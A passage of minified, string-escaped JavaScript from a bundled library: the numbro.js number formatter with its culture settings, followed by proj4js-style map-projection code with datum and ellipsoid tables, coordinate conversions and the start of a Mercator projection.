r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x,w,k=!1,S=!1,C=!1,T=\\\"\\\",A=!1,E=!1,M=!1,O=!1,z=!1,P=\\\"\\\",j=\\\"\\\",N=Math.abs(t),F=[\\\"B\\\",\\\"KiB\\\",\\\"MiB\\\",\\\"GiB\\\",\\\"TiB\\\",\\\"PiB\\\",\\\"EiB\\\",\\\"ZiB\\\",\\\"YiB\\\"],D=[\\\"B\\\",\\\"KB\\\",\\\"MB\\\",\\\"GB\\\",\\\"TB\\\",\\\"PB\\\",\\\"EB\\\",\\\"ZB\\\",\\\"YB\\\"],I=\\\"\\\",R=!1,B=!1;if(0===t&&null!==Y)return Y;if(!isFinite(t))return\\\"\\\"+t;if(0===e.indexOf(\\\"{\\\")){var L=e.indexOf(\\\"}\\\");if(-1===L)throw Error('Format should also contain a \\\"}\\\"');f=e.slice(1,L),e=e.slice(L+1)}else f=\\\"\\\";if(e.indexOf(\\\"}\\\")===e.length-1){var V=e.indexOf(\\\"{\\\");if(-1===V)throw Error('Format should also contain a \\\"{\\\"');v=e.slice(V+1,-1),e=e.slice(0,V+1)}else v=\\\"\\\";if(w=-1===e.indexOf(\\\".\\\")?e.match(/([0-9]+).*/):e.match(/([0-9]+)\\\\..*/),x=null===w?-1:w[1].length,-1!==e.indexOf(\\\"-\\\")&&(R=!0),-1<e.indexOf(\\\"(\\\")?(k=!0,e=e.slice(1,-1)):-1<e.indexOf(\\\"+\\\")&&(S=!0,e=e.replace(/\\\\+/g,\\\"\\\")),-1<e.indexOf(\\\"a\\\")){if(p=e.split(\\\".\\\")[0].match(/[0-9]+/g)||[\\\"0\\\"],p=parseInt(p[0],10),A=0<=e.indexOf(\\\"aK\\\"),E=0<=e.indexOf(\\\"aM\\\"),M=0<=e.indexOf(\\\"aB\\\"),O=0<=e.indexOf(\\\"aT\\\"),z=A||E||M||O,-1<e.indexOf(\\\" a\\\")?(T=\\\" \\\",e=e.replace(\\\" a\\\",\\\"\\\")):e=e.replace(\\\"a\\\",\\\"\\\"),l=Math.floor(Math.log(N)/Math.LN10)+1,u=0==(u=l%3)?3:u,p&&0!==N&&(h=Math.floor(Math.log(N)/Math.LN10)+1-p,c=3*~~((Math.min(p,l)-u)/3),N/=Math.pow(10,c),-1===e.indexOf(\\\".\\\")&&3<p))for(e+=\\\"[.]\\\",y=(y=0===h?0:3*~~(h/3)-h)<0?y+3:y,r=0;r<y;r++)e+=\\\"0\\\";Math.floor(Math.log(Math.abs(t))/Math.LN10)+1!==p&&(N>=Math.pow(10,12)&&!z||O?(T+=U[q].abbreviations.trillion,t/=Math.pow(10,12)):N<Math.pow(10,12)&&N>=Math.pow(10,9)&&!z||M?(T+=U[q].abbreviations.billion,t/=Math.pow(10,9)):N<Math.pow(10,9)&&N>=Math.pow(10,6)&&!z||E?(T+=U[q].abbreviations.million,t/=Math.pow(10,6)):(N<Math.pow(10,6)&&N>=Math.pow(10,3)&&!z||A)&&(T+=U[q].abbreviations.thousand,t/=Math.pow(10,3)))}if(-1<e.indexOf(\\\"b\\\"))for(-1<e.indexOf(\\\" b\\\")?(P=\\\" \\\",e=e.replace(\\\" b\\\",\\\"\\\")):e=e.replace(\\\"b\\\",\\\"\\\"),a=0;a<=F.length;a++)if(o=Math.pow(1024,a),s=Math.pow(1024,a+1),o<=t&&t<s){P+=F[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"d\\\"))for(-1<e.indexOf(\\\" d\\\")?(P=\\\" \\\",e=e.replace(\\\" d\\\",\\\"\\\")):e=e.replace(\\\"d\\\",\\\"\\\"),a=0;a<=D.length;a++)if(o=Math.pow(1e3,a),s=Math.pow(1e3,a+1),o<=t&&t<s){P+=D[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"o\\\")&&(-1<e.indexOf(\\\" o\\\")?(j=\\\" \\\",e=e.replace(\\\" o\\\",\\\"\\\")):e=e.replace(\\\"o\\\",\\\"\\\"),U[q].ordinal&&(j+=U[q].ordinal(t))),-1<e.indexOf(\\\"[.]\\\")&&(C=!0,e=e.replace(\\\"[.]\\\",\\\".\\\")),_=t.toString().split(\\\".\\\")[0],d=e.split(\\\".\\\")[1],m=e.indexOf(\\\",\\\"),d){if(-1!==d.indexOf(\\\"*\\\")?I=X(t,t.toString().split(\\\".\\\")[1].length,i):-1<d.indexOf(\\\"[\\\")?(d=(d=d.replace(\\\"]\\\",\\\"\\\")).split(\\\"[\\\"),I=X(t,d[0].length+d[1].length,i,d[1].length)):I=X(t,d.length,i),_=I.split(\\\".\\\")[0],I.split(\\\".\\\")[1].length){var G=n?T+n:U[q].delimiters.decimal;I=G+I.split(\\\".\\\")[1]}else I=\\\"\\\";C&&0===Number(I.slice(1))&&(I=\\\"\\\")}else _=X(t,null,i);return-1<_.indexOf(\\\"-\\\")&&(_=_.slice(1),B=!0),_.length<x&&(_=new Array(x-_.length+1).join(\\\"0\\\")+_),-1<m&&(_=_.toString().replace(/(\\\\d)(?=(\\\\d{3})+(?!\\\\d))/g,\\\"$1\\\"+U[q].delimiters.thousands)),0===e.indexOf(\\\".\\\")&&(_=\\\"\\\"),g=e.indexOf(\\\"(\\\"),b=e.indexOf(\\\"-\\\"),f+(g<b?(k&&B?\\\"(\\\":\\\"\\\")+(R&&B||!k&&B?\\\"-\\\":\\\"\\\"):(R&&B||!k&&B?\\\"-\\\":\\\"\\\")+(k&&B?\\\"(\\\":\\\"\\\"))+(!B&&S&&0!==t?\\\"+\\\":\\\"\\\")+_+I+(j||\\\"\\\")+(T&&!n?T:\\\"\\\")+(P||\\\"\\\")+(k&&B?\\\")\\\":\\\"\\\")+v}function a(t,e){U[t]=e}function l(t){var e=U[q=t].defaults;e&&e.format&&u.defaultFormat(e.format),e&&e.currencyFormat&&u.defaultCurrencyFormat(e.currencyFormat)}void 0!==e&&e.exports,(u=function(t){return u.isNumbro(t)?t=t.value():0===t||void 0===t?t=0:Number(t)||(t=u.fn.unformat(t)),new n(Number(t))}).version=\\\"1.6.2\\\",u.isNumbro=function(t){return t instanceof n},u.setLanguage=function(t,e){console.warn(\\\"`setLanguage` is deprecated since version 1.6.0. Use `setCulture` instead\\\");var i=t,n=t.split(\\\"-\\\")[0],r=null;o[i]||(Object.keys(o).forEach(function(t){r||t.split(\\\"-\\\")[0]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.setCulture=function(t,e){var i=t,n=t.split(\\\"-\\\")[1],r=null;U[i]||(n&&Object.keys(U).forEach(function(t){r||t.split(\\\"-\\\")[1]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.language=function(t,e){if(console.warn(\\\"`language` is deprecated since version 1.6.0. Use `culture` instead\\\"),!t)return q;if(t&&!e){if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);l(t)}return!e&&o[t]||a(t,e),u},u.culture=function(t,e){if(!t)return q;if(t&&!e){if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);l(t)}return!e&&U[t]||a(t,e),u},u.languageData=function(t){if(console.warn(\\\"`languageData` is deprecated since version 1.6.0. Use `cultureData` instead\\\"),!t)return o[q];if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);return o[t]},u.cultureData=function(t){if(!t)return U[q];if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);return U[t]},u.culture(\\\"en-US\\\",{delimiters:{thousands:\\\",\\\",decimal:\\\".\\\"},abbreviations:{thousand:\\\"k\\\",million:\\\"m\\\",billion:\\\"b\\\",trillion:\\\"t\\\"},ordinal:function(t){var e=t%10;return 1==~~(t%100/10)?\\\"th\\\":1===e?\\\"st\\\":2===e?\\\"nd\\\":3===e?\\\"rd\\\":\\\"th\\\"},currency:{symbol:\\\"$\\\",position:\\\"prefix\\\"},defaults:{currencyFormat:\\\",0000 a\\\"},formats:{fourDigits:\\\"0000 a\\\",fullWithTwoDecimals:\\\"$ ,0.00\\\",fullWithTwoDecimalsNoCurrency:\\\",0.00\\\"}}),u.languages=function(){return console.warn(\\\"`languages` is deprecated since version 1.6.0. Use `cultures` instead\\\"),o},u.cultures=function(){return U},u.zeroFormat=function(t){Y=\\\"string\\\"==typeof t?t:null},u.defaultFormat=function(t){r=\\\"string\\\"==typeof t?t:\\\"0.0\\\"},u.defaultCurrencyFormat=function(t){},u.validate=function(t,e){var i,n,r,o,s,a,l,h;if(\\\"string\\\"!=typeof t&&(t+=\\\"\\\",console.warn&&console.warn(\\\"Numbro.js: Value is not string. It has been co-erced to: \\\",t)),(t=t.trim()).match(/^\\\\d+$/))return!0;if(\\\"\\\"===t)return!1;try{l=u.cultureData(e)}catch(t){l=u.cultureData(u.culture())}return r=l.currency.symbol,s=l.abbreviations,i=l.delimiters.decimal,n=\\\".\\\"===l.delimiters.thousands?\\\"\\\\\\\\.\\\":l.delimiters.thousands,!(null!==(h=t.match(/^[^\\\\d]+/))&&(t=t.substr(1),h[0]!==r)||null!==(h=t.match(/[^\\\\d]+$/))&&(t=t.slice(0,-1),h[0]!==s.thousand&&h[0]!==s.million&&h[0]!==s.billion&&h[0]!==s.trillion)||(a=new RegExp(n+\\\"{2}\\\"),t.match(/[^\\\\d.,]/g)||2<(o=t.split(i)).length||(o.length<2?!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a):1===o[0].length?!o[0].match(/^\\\\d+$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/):!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/))))},e.exports={format:function(t,e,i,n){return null!=i&&i!==u.culture()&&u.setCulture(i),s(Number(t),null!=e?e:r,null==n?Math.round:n)}}},function(t,e,i){var l=t(382),h=t(380),n=t(384),u=t(379),c=t(370),_=t(375);function p(t,e){if(!(this instanceof p))return new p(t);e=e||function(t){if(t)throw t};var i=l(t);if(\\\"object\\\"==typeof i){var n=p.projections.get(i.projName);if(n){if(i.datumCode&&\\\"none\\\"!==i.datumCode){var r=c[i.datumCode];r&&(i.datum_params=r.towgs84?r.towgs84.split(\\\",\\\"):null,i.ellps=r.ellipse,i.datumName=r.datumName?r.datumName:i.datumCode)}i.k0=i.k0||1,i.axis=i.axis||\\\"enu\\\";var o=u.sphere(i.a,i.b,i.rf,i.ellps,i.sphere),s=u.eccentricity(o.a,o.b,o.rf,i.R_A),a=i.datum||_(i.datumCode,i.datum_params,o.a,o.b,s.es,s.ep2);h(this,i),h(this,n),this.a=o.a,this.b=o.b,this.rf=o.rf,this.sphere=o.sphere,this.es=s.es,this.e=s.e,this.ep2=s.ep2,this.datum=a,this.init(),e(null,this)}else e(t)}else e(t)}(p.projections=n).start(),e.exports=p},function(t,e,i){e.exports=function(t,e,i){var n,r,o,s=i.x,a=i.y,l=i.z||0,h={};for(o=0;o<3;o++)if(!e||2!==o||void 0!==i.z)switch(0===o?(n=s,r=\\\"x\\\"):1===o?(n=a,r=\\\"y\\\"):(n=l,r=\\\"z\\\"),t.axis[o]){case\\\"e\\\":h[r]=n;break;case\\\"w\\\":h[r]=-n;break;case\\\"n\\\":h[r]=n;break;case\\\"s\\\":h[r]=-n;break;case\\\"u\\\":void 0!==i[r]&&(h.z=n);break;case\\\"d\\\":void 0!==i[r]&&(h.z=-n);break;default:return null}return h}},function(t,e,i){var n=2*Math.PI,r=t(367);e.exports=function(t){return Math.abs(t)<=3.14159265359?t:t-r(t)*n}},function(t,e,i){e.exports=function(t,e,i){var n=t*e;return i/Math.sqrt(1-n*n)}},function(t,e,i){var a=Math.PI/2;e.exports=function(t,e){for(var i,n,r=.5*t,o=a-2*Math.atan(e),s=0;s<=15;s++)if(i=t*Math.sin(o),n=a-2*Math.atan(e*Math.pow((1-i)/(1+i),r))-o,o+=n,Math.abs(n)<=1e-10)return o;return-9999}},function(t,e,i){e.exports=function(t){return t<0?-1:1}},function(t,e,i){e.exports=function(t){var e={x:t[0],y:t[1]};return 2<t.length&&(e.z=t[2]),3<t.length&&(e.m=t[3]),e}},function(t,e,i){var o=Math.PI/2;e.exports=function(t,e,i){var n=t*i,r=.5*t;return n=Math.pow((1-n)/(1+n),r),Math.tan(.5*(o-e))/n}},function(t,e,i){i.wgs84={towgs84:\\\"0,0,0\\\",ellipse:\\\"WGS84\\\",datumName:\\\"WGS84\\\"},i.ch1903={towgs84:\\\"674.374,15.056,405.346\\\",ellipse:\\\"bessel\\\",datumName:\\\"swiss\\\"},i.ggrs87={towgs84:\\\"-199.87,74.79,246.62\\\",ellipse:\\\"GRS80\\\",datumName:\\\"Greek_Geodetic_Reference_System_1987\\\"},i.nad83={towgs84:\\\"0,0,0\\\",ellipse:\\\"GRS80\\\",datumName:\\\"North_American_Datum_1983\\\"},i.nad27={nadgrids:\\\"@conus,@alaska,@ntv2_0.gsb,@ntv1_can.dat\\\",ellipse:\\\"clrk66\\\",datumName:\\\"North_American_Datum_1927\\\"},i.potsdam={towgs84:\\\"606.0,23.0,413.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Potsdam Rauenberg 1950 DHDN\\\"},i.carthage={towgs84:\\\"-263.0,6.0,431.0\\\",ellipse:\\\"clark80\\\",datumName:\\\"Carthage 1934 Tunisia\\\"},i.hermannskogel={towgs84:\\\"653.0,-212.0,449.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Hermannskogel\\\"},i.ire65={towgs84:\\\"482.530,-130.596,564.557,-1.042,-0.214,-0.631,8.15\\\",ellipse:\\\"mod_airy\\\",datumName:\\\"Ireland 1965\\\"},i.rassadiran={towgs84:\\\"-133.63,-157.5,-158.62\\\",ellipse:\\\"intl\\\",datumName:\\\"Rassadiran\\\"},i.nzgd49={towgs84:\\\"59.47,-5.04,187.44,0.47,-0.1,1.024,-4.5993\\\",ellipse:\\\"intl\\\",datumName:\\\"New Zealand Geodetic Datum 1949\\\"},i.osgb36={towgs84:\\\"446.448,-125.157,542.060,0.1502,0.2470,0.8421,-20.4894\\\",ellipse:\\\"airy\\\",datumName:\\\"Airy 1830\\\"},i.s_jtsk={towgs84:\\\"589,76,480\\\",ellipse:\\\"bessel\\\",datumName:\\\"S-JTSK (Ferro)\\\"},i.beduaram={towgs84:\\\"-106,-87,188\\\",ellipse:\\\"clrk80\\\",datumName:\\\"Beduaram\\\"},i.gunung_segara={towgs84:\\\"-403,684,41\\\",ellipse:\\\"bessel\\\",datumName:\\\"Gunung Segara Jakarta\\\"},i.rnb72={towgs84:\\\"106.869,-52.2978,103.724,-0.33657,0.456955,-1.84218,1\\\",ellipse:\\\"intl\\\",datumName:\\\"Reseau National Belge 1972\\\"}},function(t,e,i){i.MERIT={a:6378137,rf:298.257,ellipseName:\\\"MERIT 1983\\\"},i.SGS85={a:6378136,rf:298.257,ellipseName:\\\"Soviet Geodetic System 85\\\"},i.GRS80={a:6378137,rf:298.257222101,ellipseName:\\\"GRS 1980(IUGG, 1980)\\\"},i.IAU76={a:6378140,rf:298.257,ellipseName:\\\"IAU 1976\\\"},i.airy={a:6377563.396,b:6356256.91,ellipseName:\\\"Airy 1830\\\"},i.APL4={a:6378137,rf:298.25,ellipseName:\\\"Appl. Physics. 1965\\\"},i.NWL9D={a:6378145,rf:298.25,ellipseName:\\\"Naval Weapons Lab., 1965\\\"},i.mod_airy={a:6377340.189,b:6356034.446,ellipseName:\\\"Modified Airy\\\"},i.andrae={a:6377104.43,rf:300,ellipseName:\\\"Andrae 1876 (Den., Iclnd.)\\\"},i.aust_SA={a:6378160,rf:298.25,ellipseName:\\\"Australian Natl & S. Amer. 1969\\\"},i.GRS67={a:6378160,rf:298.247167427,ellipseName:\\\"GRS 67(IUGG 1967)\\\"},i.bessel={a:6377397.155,rf:299.1528128,ellipseName:\\\"Bessel 1841\\\"},i.bess_nam={a:6377483.865,rf:299.1528128,ellipseName:\\\"Bessel 1841 (Namibia)\\\"},i.clrk66={a:6378206.4,b:6356583.8,ellipseName:\\\"Clarke 1866\\\"},i.clrk80={a:6378249.145,rf:293.4663,ellipseName:\\\"Clarke 1880 mod.\\\"},i.clrk58={a:6378293.645208759,rf:294.2606763692654,ellipseName:\\\"Clarke 1858\\\"},i.CPM={a:6375738.7,rf:334.29,ellipseName:\\\"Comm. des Poids et Mesures 1799\\\"},i.delmbr={a:6376428,rf:311.5,ellipseName:\\\"Delambre 1810 (Belgium)\\\"},i.engelis={a:6378136.05,rf:298.2566,ellipseName:\\\"Engelis 1985\\\"},i.evrst30={a:6377276.345,rf:300.8017,ellipseName:\\\"Everest 1830\\\"},i.evrst48={a:6377304.063,rf:300.8017,ellipseName:\\\"Everest 1948\\\"},i.evrst56={a:6377301.243,rf:300.8017,ellipseName:\\\"Everest 1956\\\"},i.evrst69={a:6377295.664,rf:300.8017,ellipseName:\\\"Everest 1969\\\"},i.evrstSS={a:6377298.556,rf:300.8017,ellipseName:\\\"Everest (Sabah & Sarawak)\\\"},i.fschr60={a:6378166,rf:298.3,ellipseName:\\\"Fischer (Mercury Datum) 1960\\\"},i.fschr60m={a:6378155,rf:298.3,ellipseName:\\\"Fischer 1960\\\"},i.fschr68={a:6378150,rf:298.3,ellipseName:\\\"Fischer 1968\\\"},i.helmert={a:6378200,rf:298.3,ellipseName:\\\"Helmert 1906\\\"},i.hough={a:6378270,rf:297,ellipseName:\\\"Hough\\\"},i.intl={a:6378388,rf:297,ellipseName:\\\"International 1909 (Hayford)\\\"},i.kaula={a:6378163,rf:298.24,ellipseName:\\\"Kaula 1961\\\"},i.lerch={a:6378139,rf:298.257,ellipseName:\\\"Lerch 1979\\\"},i.mprts={a:6397300,rf:191,ellipseName:\\\"Maupertius 1738\\\"},i.new_intl={a:6378157.5,b:6356772.2,ellipseName:\\\"New International 1967\\\"},i.plessis={a:6376523,rf:6355863,ellipseName:\\\"Plessis 1817 (France)\\\"},i.krass={a:6378245,rf:298.3,ellipseName:\\\"Krassovsky, 1942\\\"},i.SEasia={a:6378155,b:6356773.3205,ellipseName:\\\"Southeast Asia\\\"},i.walbeck={a:6376896,b:6355834.8467,ellipseName:\\\"Walbeck\\\"},i.WGS60={a:6378165,rf:298.3,ellipseName:\\\"WGS 60\\\"},i.WGS66={a:6378145,rf:298.25,ellipseName:\\\"WGS 66\\\"},i.WGS7={a:6378135,rf:298.26,ellipseName:\\\"WGS 72\\\"},i.WGS84={a:6378137,rf:298.257223563,ellipseName:\\\"WGS 84\\\"},i.sphere={a:6370997,b:6370997,ellipseName:\\\"Normal Sphere (r=6370997)\\\"}},function(t,e,i){i.greenwich=0,i.lisbon=-9.131906111111,i.paris=2.337229166667,i.bogota=-74.080916666667,i.madrid=-3.687938888889,i.rome=12.452333333333,i.bern=7.439583333333,i.jakarta=106.807719444444,i.ferro=-17.666666666667,i.brussels=4.367975,i.stockholm=18.058277777778,i.athens=23.7163375,i.oslo=10.722916666667},function(t,e,i){i.ft={to_meter:.3048},i[\\\"us-ft\\\"]={to_meter:1200/3937}},function(t,e,i){var n=t(362),r=t(387),o=n(\\\"WGS84\\\");function s(t,e,i){var n;return Array.isArray(i)?(n=r(t,e,i),3===i.length?[n.x,n.y,n.z]:[n.x,n.y]):r(t,e,i)}function a(t){return t instanceof n?t:t.oProj?t.oProj:n(t)}e.exports=function(e,i,t){e=a(e);var n,r=!1;return void 0===i?(i=e,e=o,r=!0):(void 0!==i.x||Array.isArray(i))&&(t=i,i=e,e=o,r=!0),i=a(i),t?s(e,i,t):(n={forward:function(t){return s(e,i,t)},inverse:function(t){return s(i,e,t)}},r&&(n.oProj=i),n)}},function(t,e,i){var a=484813681109536e-20;e.exports=function(t,e,i,n,r,o){var s={datum_type:4};return t&&\\\"none\\\"===t&&(s.datum_type=5),e&&(s.datum_params=e.map(parseFloat),0===s.datum_params[0]&&0===s.datum_params[1]&&0===s.datum_params[2]||(s.datum_type=1),3<s.datum_params.length&&(0===s.datum_params[3]&&0===s.datum_params[4]&&0===s.datum_params[5]&&0===s.datum_params[6]||(s.datum_type=2,s.datum_params[3]*=a,s.datum_params[4]*=a,s.datum_params[5]*=a,s.datum_params[6]=s.datum_params[6]/1e6+1))),s.a=i,s.b=n,s.es=r,s.ep2=o,s}},function(t,e,i){var k=Math.PI/2;i.compareDatums=function(t,e){return t.datum_type===e.datum_type&&!(t.a!==e.a||5e-11<Math.abs(this.es-e.es))&&(1===t.datum_type?this.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]:2!==t.datum_type||t.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]&&t.datum_params[3]===e.datum_params[3]&&t.datum_params[4]===e.datum_params[4]&&t.datum_params[5]===e.datum_params[5]&&t.datum_params[6]===e.datum_params[6])},i.geodeticToGeocentric=function(t,e,i){var n,r,o,s,a=t.x,l=t.y,h=t.z?t.z:0;if(l<-k&&-1.001*k<l)l=-k;else if(k<l&&l<1.001*k)l=k;else if(l<-k||k<l)return null;return a>Math.PI&&(a-=2*Math.PI),r=Math.sin(l),s=Math.cos(l),o=r*r,{x:((n=i/Math.sqrt(1-e*o))+h)*s*Math.cos(a),y:(n+h)*s*Math.sin(a),z:(n*(1-e)+h)*r}},i.geocentricToGeodetic=function(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b=t.x,x=t.y,w=t.z?t.z:0;if(r=Math.sqrt(b*b+x*x),o=Math.sqrt(b*b+x*x+w*w),r/i<1e-12){if(m=0,o/i<1e-12)return g=k,y=-n,{x:t.x,y:t.y,z:t.z}}else m=Math.atan2(x,b);for(s=w/o,a=r/o,l=1/Math.sqrt(1-e*(2-e)*a*a),c=a*(1-e)*l,_=s*l,v=0;v++,u=i/Math.sqrt(1-e*_*_),h=e*u/(u+(y=r*c+w*_-u*(1-e*_*_))),l=1/Math.sqrt(1-h*(2-h)*a*a),f=(d=s*l)*c-(p=a*(1-h)*l)*_,c=p,_=d,1e-24<f*f&&v<30;);return g=Math.atan(d/Math.abs(p)),{x:m,y:g,z:y}},i.geocentricToWgs84=function(t,e,i){if(1===e)return{x:t.x+i[0],y:t.y+i[1],z:t.z+i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6];return{x:h*(t.x-l*t.y+a*t.z)+n,y:h*(l*t.x+t.y-s*t.z)+r,z:h*(-a*t.x+s*t.y+t.z)+o}}},i.geocentricFromWgs84=function(t,e,i){if(1===e)return{x:t.x-i[0],y:t.y-i[1],z:t.z-i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6],u=(t.x-n)/h,c=(t.y-r)/h,_=(t.z-o)/h;return{x:u+l*c-a*_,y:-l*u+c+s*_,z:a*u-s*c+_}}}},function(t,e,i){var n=t(376);function r(t){return 1===t||2===t}e.exports=function(t,e,i){return n.compareDatums(t,e)?i:5===t.datum_type||5===e.datum_type?i:t.es!==e.es||t.a!==e.a||r(t.datum_type)||r(e.datum_type)?(i=n.geodeticToGeocentric(i,t.es,t.a),r(t.datum_type)&&(i=n.geocentricToWgs84(i,t.datum_type,t.datum_params)),r(e.datum_type)&&(i=n.geocentricFromWgs84(i,e.datum_type,e.datum_params)),n.geocentricToGeodetic(i,e.es,e.a,e.b)):i}},function(t,e,i){var n=t(381),r=t(383),o=t(388);function s(t){var e=this;if(2===arguments.length){var i=arguments[1];s[t]=\\\"string\\\"==typeof i?\\\"+\\\"===i.charAt(0)?r(arguments[1]):o(arguments[1]):i}else if(1===arguments.length){if(Array.isArray(t))return t.map(function(t){Array.isArray(t)?s.apply(e,t):s(t)});if(\\\"string\\\"==typeof t){if(t in s)return s[t]}else\\\"EPSG\\\"in t?s[\\\"EPSG:\\\"+t.EPSG]=t:\\\"ESRI\\\"in t?s[\\\"ESRI:\\\"+t.ESRI]=t:\\\"IAU2000\\\"in t?s[\\\"IAU2000:\\\"+t.IAU2000]=t:console.log(t);return}}n(s),e.exports=s},function(t,e,i){var s=t(371);i.eccentricity=function(t,e,i,n){var r=t*t,o=e*e,s=(r-o)/r,a=0;n?(r=(t*=1-s*(.16666666666666666+s*(.04722222222222222+.022156084656084655*s)))*t,s=0):a=Math.sqrt(s);var l=(r-o)/o;return{es:s,e:a,ep2:l}},i.sphere=function(t,e,i,n,r){if(!t){var o=s[n];o||(o=s.WGS84),t=o.a,e=o.b,i=o.rf}return i&&!e&&(e=(1-1/i)*t),(0===i||Math.abs(t-e)<1e-10)&&(r=!0,e=t),{a:t,b:e,rf:i,sphere:r}}},function(t,e,i){e.exports=function(t,e){var i,n;if(t=t||{},!e)return t;for(n in e)void 0!==(i=e[n])&&(t[n]=i);return t}},function(t,e,i){e.exports=function(t){t(\\\"EPSG:4326\\\",\\\"+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees\\\"),t(\\\"EPSG:4269\\\",\\\"+title=NAD83 (long/lat) +proj=longlat +a=6378137.0 +b=6356752.31414036 +ellps=GRS80 +datum=NAD83 +units=degrees\\\"),t(\\\"EPSG:3857\\\",\\\"+title=WGS 84 / Pseudo-Mercator +proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs\\\"),t.WGS84=t[\\\"EPSG:4326\\\"],t[\\\"EPSG:3785\\\"]=t[\\\"EPSG:3857\\\"],t.GOOGLE=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:900913\\\"]=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:102113\\\"]=t[\\\"EPSG:3857\\\"]}},function(t,e,i){var n=t(378),r=t(388),o=t(383),s=[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"PROJCS\\\",\\\"LOCAL_CS\\\"];e.exports=function(t){return\\\"string\\\"!=typeof t?t:t in n?n[t]:(e=t,s.some(function(t){return-1<e.indexOf(t)})?r(t):\\\"+\\\"===t[0]?o(t):void 0);var e}},function(t,e,i){var a=.017453292519943295,l=t(372),h=t(373);e.exports=function(t){var e,i,n,r={},o=t.split(\\\"+\\\").map(function(t){return t.trim()}).filter(function(t){return t}).reduce(function(t,e){var i=e.split(\\\"=\\\");return i.push(!0),t[i[0].toLowerCase()]=i[1],t},{}),s={proj:\\\"projName\\\",datum:\\\"datumCode\\\",rf:function(t){r.rf=parseFloat(t)},lat_0:function(t){r.lat0=t*a},lat_1:function(t){r.lat1=t*a},lat_2:function(t){r.lat2=t*a},lat_ts:function(t){r.lat_ts=t*a},lon_0:function(t){r.long0=t*a},lon_1:function(t){r.long1=t*a},lon_2:function(t){r.long2=t*a},alpha:function(t){r.alpha=parseFloat(t)*a},lonc:function(t){r.longc=t*a},x_0:function(t){r.x0=parseFloat(t)},y_0:function(t){r.y0=parseFloat(t)},k_0:function(t){r.k0=parseFloat(t)},k:function(t){r.k0=parseFloat(t)},a:function(t){r.a=parseFloat(t)},b:function(t){r.b=parseFloat(t)},r_a:function(){r.R_A=!0},zone:function(t){r.zone=parseInt(t,10)},south:function(){r.utmSouth=!0},towgs84:function(t){r.datum_params=t.split(\\\",\\\").map(function(t){return parseFloat(t)})},to_meter:function(t){r.to_meter=parseFloat(t)},units:function(t){r.units=t,h[t]&&(r.to_meter=h[t].to_meter)},from_greenwich:function(t){r.from_greenwich=t*a},pm:function(t){r.from_greenwich=(l[t]?l[t]:parseFloat(t))*a},nadgrids:function(t){\\\"@null\\\"===t?r.datumCode=\\\"none\\\":r.nadgrids=t},axis:function(t){var e=\\\"ewnsud\\\";3===t.length&&-1!==e.indexOf(t.substr(0,1))&&-1!==e.indexOf(t.substr(1,1))&&-1!==e.indexOf(t.substr(2,1))&&(r.axis=t)}};for(e in o)i=o[e],e in s?\\\"function\\\"==typeof(n=s[e])?n(i):r[n]=i:r[e]=i;return\\\"string\\\"==typeof r.datumCode&&\\\"WGS84\\\"!==r.datumCode&&(r.datumCode=r.datumCode.toLowerCase()),r}},function(t,e,i){var n=[t(386),t(385)],r={},o=[];function s(t,e){var i=o.length;return t.names?((o[i]=t).names.forEach(function(t){r[t.toLowerCase()]=i}),this):(console.log(e),!0)}i.add=s,i.get=function(t){if(!t)return!1;var e=t.toLowerCase();return void 0!==r[e]&&o[r[e]]?o[r[e]]:void 0},i.start=function(){n.forEach(s)}},function(t,e,i){function n(t){return t}i.init=function(){},i.forward=n,i.inverse=n,i.names=[\\\"longlat\\\",\\\"identity\\\"]},function(t,e,i){var n=t(365),a=Math.PI/2,l=57.29577951308232,h=t(364),u=Math.PI/4,c=t(369),s=t(366);i.init=function(){var t=this.b/this.a;this.es=1-t*t,\\\"x0\\\"in this||(this.x0=0),\\\"y0\\\"in this||(this.y0=0),this.e=Math.sqrt(this.es),this.lat_ts?this.sphere?this.k0=Math.cos(this.lat_ts):this.k0=n(this.e,Math.sin(this.lat_ts),Math.cos(this.lat_ts)):this.k0||(this.k?this.k0=this.k:this.k0=1)},i.forward=function(t){var e,i,n=t.x,r=t.y;if(90<r*l&&r*l<-90&&180<n*l&&n*l<-180)return null;if(Math.abs(Math.abs(r)-a)<=1e-10)return null;if(this.sphere)e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0+this.a*this.k0*Math.log(Math.tan(u+.5*r));else{var o=Math.sin(r),s=c(this.e,r,o);e=this.x0+this.a*this.k0*h(n-this.long0),i=this.y0-this.a*this.k0*Math.log(s)}return t.x=e,t.y=i,t},i.inverse=function(t){var e,i,n=t.x-this.x0,r=t.y-this.y0;if(this.sphere)i=a-2*Math.atan(Math.exp(-r/(this.a*this.k0)));else{var o=Math.exp(-r/(this.a*this.k0));if(-9999===(i=s(this.e,o)))return null}return e=h(this.long0+n/(this.a*this.k0)),t.x=e,t.y=i,t},i.names=[\\\"Mercator\\\",\\\"Popular 